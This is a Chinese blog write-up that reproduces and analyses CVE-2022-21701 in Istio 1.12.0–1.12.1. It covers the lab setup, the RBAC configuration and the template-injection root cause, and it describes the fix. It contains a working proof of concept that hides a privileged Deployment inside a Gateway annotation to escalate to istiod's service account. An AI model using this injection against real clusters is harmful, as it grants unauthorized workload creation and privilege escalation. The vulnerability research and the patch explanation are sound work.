原文始发于turn1tup:CVE-2022-21701 Istio 提权漏洞复现与分析
Istio [1.12.0,1.12.1] 版本存在提权漏洞,当用户拥有gateways.gateway.networking.k8s.io
资源对象权限时,可以提权到 istiod serviceaccount权限。通过一个漏洞,我们可以学习到一种思路。
1 2 3 |
https://nvd.nist.gov/vuln/detail/CVE-2022-21701 Istio is an open platform to connect, manage, and secure microservices. In versions 1.12.0 and 1.12.1 Istio is vulnerable to a privilege escalation attack. Users who have `CREATE` permission for `gateways.gateway.networking.k8s.io` objects can escalate this privilege to create other resources that they may not have access to, such as `Pod`. This vulnerability impacts only an Alpha level feature, the Kubernetes Gateway API. This is not the same as the Istio Gateway type (gateways.networking.istio.io), which is not vulnerable. Users are advised to upgrade to resolve this issue. Users unable to upgrade should implement any of the following which will prevent this vulnerability: Remove the gateways.gateway.networking.k8s.io CustomResourceDefinition, set PILOT_ENABLE_GATEWAY_API_DEPLOYMENT_CONTROLLER=true environment variable in Istiod, or remove CREATE permissions for gateways.gateway.networking.k8s.io objects from untrusted users. |
1. 环境搭建
在比较新的k8s版本中 1.12.x 的 Istio 无法安装成功,需要另外选择旧版本的k8s进行安装。
使用k3s安装 v1.22.8 版本的k8s ,下载地址 https://github.com/k3s-io/k3s/releases/download/v1.22.8%2Bk3s1/k3s
1 2 3 |
root@master:/home/test# chmodx +x k3s root@master:/home/test# mv k3s /usr/local/bin/ root@master:/home/test# k3s server & #等待3分钟作用,控制台没有输出,即安装完成 |
将另外一台节点加入到集群中:
1 2 3 4 |
root@master:/home/test# cat /var/lib/rancher/k3s/server/node-token K10a4c7fcddacfa5b1086c2cb640d014ac1a21b0a2ba7fd9ce1109dea1094e17363::server:2e387118b173becea9dd5a96ef465363 root@node01:/home/test# k3s agent --server https://192.168.128.131:6443 --token K10a4c7fcddacfa5b1086c2cb640d014ac1a21b0a2ba7fd9ce1109dea1094e17363::server:2e387118b173becea9dd5a96ef465363 & |
安装完成后查看节点:
1 2 3 4 |
root@master:/home/test# k3s kubectl get nodes NAME STATUS ROLES AGE VERSION master.local Ready control-plane,master 20m v1.22.8+k3s1 node01.local Ready <none> 14m v1.22.8+k3s1 |
下载istio并解压 https://github.com/istio/istio/releases/download/1.12.0/istio-1.12.0-linux-amd64.tar.gz
1 2 3 |
cd istio-1.12.0/ cp bin/istioctl /usr/local/bin/ export KUBECONFIG=/etc/rancher/k3s/k3s.yaml # 根据环境设置配置文件 |
检查
1 2 3 |
root@master:/home/test/istio-1.12.0# istioctl x precheck ✔ No issues found when checking the cluster. Istio is safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/ |
Istio 前置检查
1 2 3 4 5 6 |
root@master:/home/test# istioctl install --set profile=demo -y ✔ Istio core installed ✔ Istiod installed ✔ Egress gateways installed ✔ Ingress gateways installed ✔ Installation complete |
安装Istio
1 2 3 4 5 6 7 8 9 10 11 12 13 |
curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.0 TARGET_ARCH=x86_64 proxychains sh - cd istio-1.12.0/ export PATH=$PWD/bin:$PATH export KUBECONFIG=/etc/rancher/k3s/k3s.yaml # 根据环境设置配置文件 root@master:/home/test/istio-1.12.0# istioctl x precheck ✔ No issues found when checking the cluster. Istio is safe to install or upgrade! To get started, check out https://istio.io/latest/docs/setup/getting-started/ istioctl install --set profile=demo -y |
查看相关pod情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
root@master:/home/test# k3s kubectl get pods -A NAMESPACE NAME READY STATUS RESTARTS AGE kube-system local-path-provisioner-84bb864455-tg77k 1/1 Running 0 12m kube-system coredns-7796b77cd4-vcf4d 1/1 Running 0 12m kube-system metrics-server-ff9dbcb6c-hnt58 1/1 Running 0 12m kube-system helm-install-traefik-crd--1-4fxbl 0/1 Completed 0 12m kube-system helm-install-traefik--1-z4d5d 0/1 Completed 1 12m kube-system svclb-traefik-4vd2b 2/2 Running 0 8m6s kube-system traefik-56c4b88c4b-mfkl2 1/1 Running 0 8m7s kube-system svclb-traefik-n4c6p 2/2 Running 0 6m7s istio-system istiod-555d47cb65-vssfw 1/1 Running 0 3m52s istio-system svclb-istio-ingressgateway-rw7qb 0/5 Pending 0 109s istio-system svclb-istio-ingressgateway-tbvpw 0/5 Pending 0 109s istio-system istio-ingressgateway-55d9fb9f-wc62h 1/1 Running 0 110s istio-system istio-egressgateway-7f4864f59c-bznfg 1/1 Running 0 110s |
networking.istio.io
根据nvd描述可知,拥有 gateways.gateway.networking.k8s.io 对象权限的的角色才会造成越权问题,我们查询一下该资源(CustomResourceDefinitions为api-resources的子集)
1 2 3 4 5 6 7 8 9 |
root@master:/home/test# kubectl get crd gateways.gateway.networking.k8s.io NAME CREATED AT gateways.gateway.networking.k8s.io 2023-08-28T09:22:18Z root@master:/home/test# k api-resources --api-group=gateway.networking.k8s.io NAME SHORTNAMES APIVERSION NAMESPACED KIND ... gateways gtw gateway.networking.k8s.io/v1alpha2 true Gateway ... |
2. 漏洞复现
由于系统默认没有带有 gateways.gateway.networking.k8s.io 权限的 账户,在不使用admin的情况下我们可以选择创建一个进行模拟
1 2 3 4 5 6 7 8 |
k create ns istio-test k apply -f - << EOF apiVersion: v1 kind: ServiceAccount metadata: namespace: istio-test name: istio-test-sa EOF |
1 2 3 4 5 6 7 8 9 10 11 |
k apply -f - << EOF kind: Role apiVersion: rbac.authorization.k8s.io/v1 metadata: namespace: istio-test name: istio-test-role rules: - apiGroups: [ "gateway.networking.k8s.io"] resources: ["gateways"] verbs: ["create"] EOF |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
k apply -f - << EOF kind: RoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: namespace: istio-test name: istio-test-role-bind subjects: - kind: ServiceAccount namespace: istio-test name: istio-test-sa roleRef: kind: Role name: istio-test-role apiGroup: rbac.authorization.k8s.io EOF |
1 2 |
root@master:/home/test# k get gateways -A No resources found |
获取token
1 2 3 4 5 6 |
root@master:/home/test# k get secrets -n istio-test NAME TYPE DATA AGE default-token-4rvb7 kubernetes.io/service-account-token 3 21m istio-test-sa-token-6zzj8 kubernetes.io/service-account-token 3 21m root@master:/home/test# k get secrets istio-test-sa-token-6zzj8 -n istio-test -o yaml ... |
可以看到这个sa是没有 pod 资源的CREATE权限的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
test@node01:~$ ./kubectl -s https://192.168.128.131:6443 --insecure-skip-tls-verify=true --token eyJhbGciO... auth can-i --list Resources Non-Resource URLs Resource Names Verbs selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] |
通过如下POC进行越权创建deployment资源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
test@node01:~$ ./kubectl -s https://192.168.128.131:6443 --insecure-skip-tls-verify=true --token eyJhbGciO... create -f - << EOF apiVersion: gateway.networking.k8s.io/v1alpha2 kind: Gateway metadata: name: gatewaytest namespace: istio-test annotations: networking.istio.io/service-type: |- "LoadBalancer" apiVersion: apps/v1 kind: Deployment metadata: name: pwned-deployment1 namespace: istio-test spec: selector: matchLabels: app: nginx replicas: 1 template: metadata: labels: app: nginx spec: containers: - name: nginx image: nginx ports: - containerPort: 80 securityContext: privileged: true spec: gatewayClassName: istio listeners: - name: default hostname: "*.example.com" port: 80 protocol: HTTP allowedRoutes: namespaces: from: All EOF |
相关注入的YAML创建的POD:
1 2 3 4 5 |
# k get pods -n istio-test NAME READY STATUS RESTARTS AGE pwned-deployment1-74bc56fb4b-hv4lg 1/1 Running 0 40s gatewaytest-67f4f459d8-d7gmt 1/1 Running 0 40s |
越权所用的sa为istiod
1 2 3 4 |
# k config set-context default --namespace=istio-system # k get sa istiod NAME SECRETS AGE istiod 1 44h |
istiod权限如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
test@node01:~$ ./kubectl -s https://192.168.128.131:6443 --insecure-skip-tls-verify=true --token ${TOKEN} auth can-i --list Resources Non-Resource URLs Resource Names Verbs ingresses.networking.k8s.io/status [] [] [*] signers.certificates.k8s.io [] [kubernetes.io/legacy-unknown] [approve] configmaps [] [] [create get list watch update] tokenreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] subjectaccessreviews.authorization.k8s.io [] [] [create] mutatingwebhookconfigurations.admissionregistration.k8s.io [] [] [get list watch update patch] validatingwebhookconfigurations.admissionregistration.k8s.io [] [] [get list watch update] endpoints [] [] [get list watch] namespaces [] [] [get list watch] nodes [] [] [get list watch] pods [] [] [get list watch] customresourcedefinitions.apiextensions.k8s.io [] [] [get list watch] endpointslices.discovery.k8s.io [] [] [get list watch] ingressclasses.networking.k8s.io [] [] [get list watch] ingresses.networking.k8s.io [] [] [get list watch] serviceexports.multicluster.x-k8s.io [] [] [get watch list create delete] services [] [] [get watch list update patch create delete] deployments.apps [] [] [get watch list update patch create delete] workloadentries.networking.istio.io/status [] [] [get watch list update patch create delete] workloadentries.networking.istio.io [] [] [get watch list update patch create delete] *.gateway.networking.k8s.io [] [] [get watch list update patch] *.networking.x-k8s.io [] [] [get watch list update patch] secrets [] [] [get watch list] *.authentication.istio.io [] [] [get watch list] *.config.istio.io [] [] [get watch list] *.extensions.istio.io [] [] [get watch list] serviceimports.multicluster.x-k8s.io [] [] [get watch list] *.networking.istio.io [] [] [get watch list] *.rbac.istio.io [] [] [get watch list] *.security.istio.io [] [] [get watch list] *.telemetry.istio.io [] [] [get watch list] [/.well-known/openid-configuration] [] [get] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/openid/v1/jwks] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get] certificatesigningrequests.certificates.k8s.io/approval [] [] [update create get delete watch] certificatesigningrequests.certificates.k8s.io/status [] [] [update create get delete watch] certificatesigningrequests.certificates.k8s.io [] [] [update create get delete watch] |
istiod sa绑定的clusterrole为istiod-clusterrole-istio-system,我们修改该绑定关系后发现漏洞无法复现,这表明越权后的用户确实为 istiod serviceaccount
1
|
k edit clusterrolebinding istiod-clusterrole-istio-system
|
1 2 3 4 |
https://www.orchome.com/2027 istioctl manifest generate --set profile=demo | kubectl delete --ignore-not-found=true -f - |
3. 关键流程分析
Istio的 AdmissionController 会负责处理 Gateway 类型的资源,gateway 类型的 api-resources 是istio通过k8s 的crd方式创建的,其中,istio会将gateway的CREATE/UPDATE转换为 service 与 deployment 两种资源,其中的注解与标签也会被拷贝过去,而漏洞问题就出现这个数据经过多个不同解析器的过程:istio通过go text/template标准库指定templates/service.yaml
文件为模板 生成 service 资源类型的配置,而模板中用于填充的数据的来源为用户提交的 gateway 配置,gateway配置中的 annotations 字段值恰好没有经过 Validation Admission Policy 的审计 、也没有其他代码层面的过滤、或转义,我们可以通过添加换行字符修改YAML配置结构达到修改 gateway 配置的目的,且权限提升为 istiod serviceaccount。
k8s中的各种资源在被创建或修改更新时,会通过相应的Validation检查这些属性值是否遵循正确的规范、范围,k8s中相应的库为 apimachinery ,针对各种api-resources包括用户自定义的CRD资源后,用户可以通过自定义ValidatingAdmissionPolicy来对其进行规范,如下示例展示了不规范字段值被约束的告警,我们也可以直接以这种方式来测试字段的规范情况:
1
|
The Gateway "gatewaytest\\n123" is invalid: metadata.name: Invalid value: "gatewaytest\\n123": a lowercase RFC 1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character (e.g. 'example.com', regex used for validation is '[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*')
|
我们可以通过源码文件中的单元测试代码来debug从而理解该关键流程:
用于生成service资源配置的 service.yaml
模板文件内容如下,其中的 type
字段通过 index 语法从上下文中获取名称Annotations
的map,并取 key 值为 networking.istio.io/service-type
的 value值,另外其他字段也来源于Gateway且没有经过过滤验证,但由于不在末尾,构建POC比较麻烦:
我们的数据封装为 serviceInput
类型的对象,并应用于service.yaml 模板文件
可以看到,应用模板文件后输出的文本中,我们的换行符改变了yaml文件格式,我们可以尝试定义其他类型的资源,如pod
模板转换成功后通过patcher方法请求apiserver部署资源
patcher方法为抽象方法,对应的实现在NewDeploymentController
初始化代码中,可以看到,其最终调用client,而client为istio启动时的初始化对象,相关参数来源启动参数:
4. 补丁
通过text/template 的 quote 语法让输出的文本自动使用引号包裹,解决换行等字符导致的注入新的YAML结构的问题,除了 type
字段外的多个字段也统一修复:
5. 结语
关于istio是否添加Validation约束Gateway等资源,或添加的内容具体是什么,笔者还不是很清晰,其中通过 k get validatingwebhookconfigurations -o yaml
命令看到的内容可能展示了部分,还待了解整个代码机制。官方也给出了Istio 远程GO DEBUG的参考配置,后续可考虑在此DEBUG环境下做更多了解。总之,由于对完整机制、代码 还未透彻,其中一些漏洞细节分析还是比较粗略。
参考
https://www.anquanke.com/post/id/272528 Go template 遇上 yaml 反序列化 CVE-2022-21701 分析